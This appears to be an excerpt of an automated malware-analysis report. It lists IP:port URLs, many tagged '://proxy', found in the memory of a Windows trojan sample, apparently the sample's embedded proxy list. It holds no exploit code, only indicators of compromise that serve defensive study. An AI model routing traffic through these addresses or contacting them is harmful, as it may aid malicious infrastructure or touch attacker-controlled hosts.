Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.162.202.44:1305
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.162.202.44:1305://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.165.42.166:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.165.42.166:3128://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.176.134.67:3629
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.176.134.67:3629://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.18.248.104:49153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.18.248.104:49153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6451000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.207.11.148:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C63C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.207.11.148:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.212.196.177:9999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.212.196.177:9999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.212.48.23:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.212.48.23:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.212.48.80:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.212.48.80:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.212.98.200:44550
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9164000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.212.98.200:44550://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.213.24.233:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.213.24.233:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.214.80.
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.214.80.27:1981
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.214.80.27:1981://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6451000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.22.121.196:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.22.121.196:1080x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.23.192.249:8901
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.23.192.249:8901://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.236.246.151:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.236.246.151:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.236.246.53:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.236.246.53:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.249.218.34:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.249.218.34:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A72000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.250.158.81:62581
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.250.158.81:62581://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.252.170.222:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.252.170.222:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.252.189.2:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.252.189.2:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6706000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6718000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.253.208.146:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6718000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.253.208.146:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.254.157.214:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.254.157.214:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA7DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.254.168.12:4782
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA745000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.254.168.12:4782://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.32.141.50:18472
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.32.141.50:18472://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.32.143.55:32048
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.32.143.55:32048://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.33.162.89:50682
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.33.162.89:50682://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.33.162.89:56884
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.33.162.89:56884://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.33.162.89:58020
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.33.162.89:58020://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.33.163.156:5987
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.33.163.156:5987://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA52D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA51E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.33.163.156:7579
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA51E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.33.163.156:7579://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7929000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C795B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.33.167.180:31633
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C795B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.33.167.180:31633://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.33.167.180:64305
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.33.167.180:64305://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.33.252.189:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.33.252.189:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAADC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.49.14.57:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.49.14.57:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.54.21.203:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.54.21.203:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.62.103.49:8587
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.62.103.49:8587://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA533000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.62.226.96:26546
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.62.226.96:26546://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.62.229.28:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.62.229.28:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8EEE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.65.171.6:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.65.171.6:8080://proxyxD
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.79.165.164:23798
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.79.165.164:23798://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.79.165.164:29563
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.79.165.164:29563://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.79.165.164:41921
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.79.165.164:41921://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.79.165.164:44055
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.79.165.164:44055://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.79.165.164:55014
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.79.165.164:55014://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6EA1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.79.168.188:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6EA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://178.79.168.188:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.0.176.4:3180
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.0.176.4:3180://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C654C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.1.133.33:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C654C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.1.133.33:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.1.192.17:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.1.192.17:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.1.198.35:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.1.198.35:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.1.85.202:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.1.85.202:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.1.95.197:9992
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.1.95.197:9992://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.107.50.98:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.107.50.98:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.108.209.63:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.108.209.63:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.125.51.54:27234
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.125.51.54:27234://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.184.224.91:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.184.224.91:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.189.48.255:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.189.48.255:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.27.86.36:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.27.86.36:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.43.8.15:8084
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.43.8.15:8084://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.43.8.16:8088
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.43.8.16:8088://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7618000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C762A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.43.96.178:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C761E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.43.96.178:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.43.98.46:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.43.98.46:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.49.162.133:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.49.162.133:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.57.172.172:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://179.57.172.172:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.133.16.21
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.133.16.21://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.133.16.21:80
